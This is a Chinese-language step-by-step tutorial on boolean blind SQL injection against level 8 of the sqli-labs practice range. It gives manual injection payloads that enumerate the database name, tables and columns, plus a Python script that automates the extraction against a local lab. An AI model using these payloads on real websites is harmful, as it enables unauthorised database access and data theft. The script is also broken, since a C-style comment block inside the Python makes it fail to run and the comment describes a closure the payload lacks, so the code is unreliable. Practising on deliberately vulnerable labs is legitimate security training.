sql靶场--布尔盲注（第八关）保姆级教程

目录

布尔盲注（第八关）

1.判断

2.确认布尔盲注

3.手工尝试布尔盲注

表名字符

表数

表名长度

表字符

字段数

字段名长度

字段字符

4.脚本布尔盲注注入

布尔盲注（第八关）

1.判断

布尔盲注了，这种页面只会有成功和错误两个状态的页面，不会出现报错显示，这种可以尝试可以通过布尔盲注来不断尝试猜测出数据：并且我们可以使用多种方法来注入

2.确认布尔盲注

进行闭合测试

单引号测试

这里发现页面变换，但是没有报错

单引号闭合测试

发现这里闭合方式就是单引号

确认是否真的没有报错

使用order by 排列

发现页面变换，但是没有报错了，只有这两种页面，基本就是布尔盲注了

3.手工尝试布尔盲注

手动进行布尔盲注十分麻烦，首先先要注入出名字的长度

?id=1' and (select length(database())>3) --+ 
?id=1' and (select length(database())>8) --+  
?id=1' and (select length(database())>5) --+ 
?id=1' and (select length(database())>6) --+ 

然后一个一个注入出名字的字符的ASCLL码然后对照表将名字完整的获取出来

表名字符

一般名字命名的字符是在32-128之间，所以测试一般在里面测试

可以用二分法进行测试

?id=1' and ((select ascii(substr(database(),1,1)))>80) --+ 
?id=1' and ((select ascii(substr(database(),1,1)))>104) --+ 
?id=1' and ((select ascii(substr(database(),1,1)))>116) --+  
?id=1' and ((select ascii(substr(database(),1,1)))>110) --+
?id=1' and ((select ascii(substr(database(),1,1)))>113) --+
?id=1' and ((select ascii(substr(database(),1,1)))>114) --+

最后确定是ASCLL是115，对照ASCLL是字符s

剩下的也这样一个一个慢慢的注入出来

表数

注入出数据库名后再去注入表名与字段名

由于表名与字段名一般不可能只有一个，所以需要多注入出它们的具体数量

?id=1' and (select count(*) from information_schema.tables where table_schema=database()) > 3--+
?id=1' and (select count(*) from information_schema.tables where table_schema=database()) > 5--+

表名长度

?id=1' and (select length(table_name) FROM information_schema.tables where table_schema=database() limit 1,1)>6 --+ 
?id=1' and (select length(table_name) FROM information_schema.tables where table_schema=database() limit 1,1)>8 --+ 

表字符

?id=1' and (ascii(substr((select table_name FROM information_schema.tables where table_schema=database() limit 0,1),1,1))>32) --+ 

字段数

?id=1' and (select count(*) from information_schema.columns where table_schema= 'security' and table_name='users' )>2 --+ 
?id=1' and (select count(*) from information_schema.columns where table_schema= 'security' and table_name='users' )>4 --+ 

字段名长度

?id=1' and (select length(column_name) from information_schema.columns where table_schema= 'security' and table_name='users' limit 1,1)>6 --+ 

字段字符

?id=1' and (ascii(substr((select column_name from information_schema.columns where table_schema= 'security' and table_name='users' limit 0,1),1,1))>32) --+ 

所以这种方式十分费时费力，建议写python的脚本进行注入

4.脚本布尔盲注注入

import requests #用于发送HTTP请求
 
url = "http://127.0.0.1/sqli-labs/Less-8/"
 
def inject_database(url):
    name = ''
 	# 初始化空字符串，存储最终数据库名
    for i in range(1, 100):
    # 遍历字符位置（假设数据库名最长99字符）
        low = 32
        # ASCII可打印字符起始值（空格）
        high = 128
        # ASCII结束值（DEL字符，实际只用到127）
        mid = (low + high) // 2
         # 二分法初始中间值
        while low < high:
        # 二分查找当前字符的ASCII值
            payload = " 1' and ascii( substr( (select database()),%d,1)) > %d--  " % (i, mid)
            /**
            " "  里面是构造的Payload
            1'   闭合前面的单引号
            ascii() 将字符转换为相应的ACSII值
            substr( (),%d,1) 获取()里面的字符集的第 %d 位开始的第一位字符,第一个%d(占位符)是代表i
            select( database()) 查询获取当前的数据库名
            ()>%d  第二个也就是这个%d是mid
            and ('1')=('1  闭合
            % (i, mid) 为 Python 的字符串格式化语法，将变量 i（字符位置）和 mid（猜测的 ASCII 值）动态插入 Payload，实现自动化枚
            */
            params = {"id": payload}
            r = requests.get(url, params=params)
            if "You are in..........." in r.text:
            #if() 看页面里面有没有You are in...........来判断字符的ASCII值是否大于mid 
                low = mid + 1
                # 当前字符ASCII值 > mid，调整下限
            else:
                high = mid
            mid = (low + high) // 2
 
        if mid == 32:
        # 若mid为32（空格），终止循环
            break
        name = name + chr(mid)
        # 将ASCII转为字符并拼接
        print(name)
        # 实时输出当前结果
        
inject_database(url)
# 执行注入函数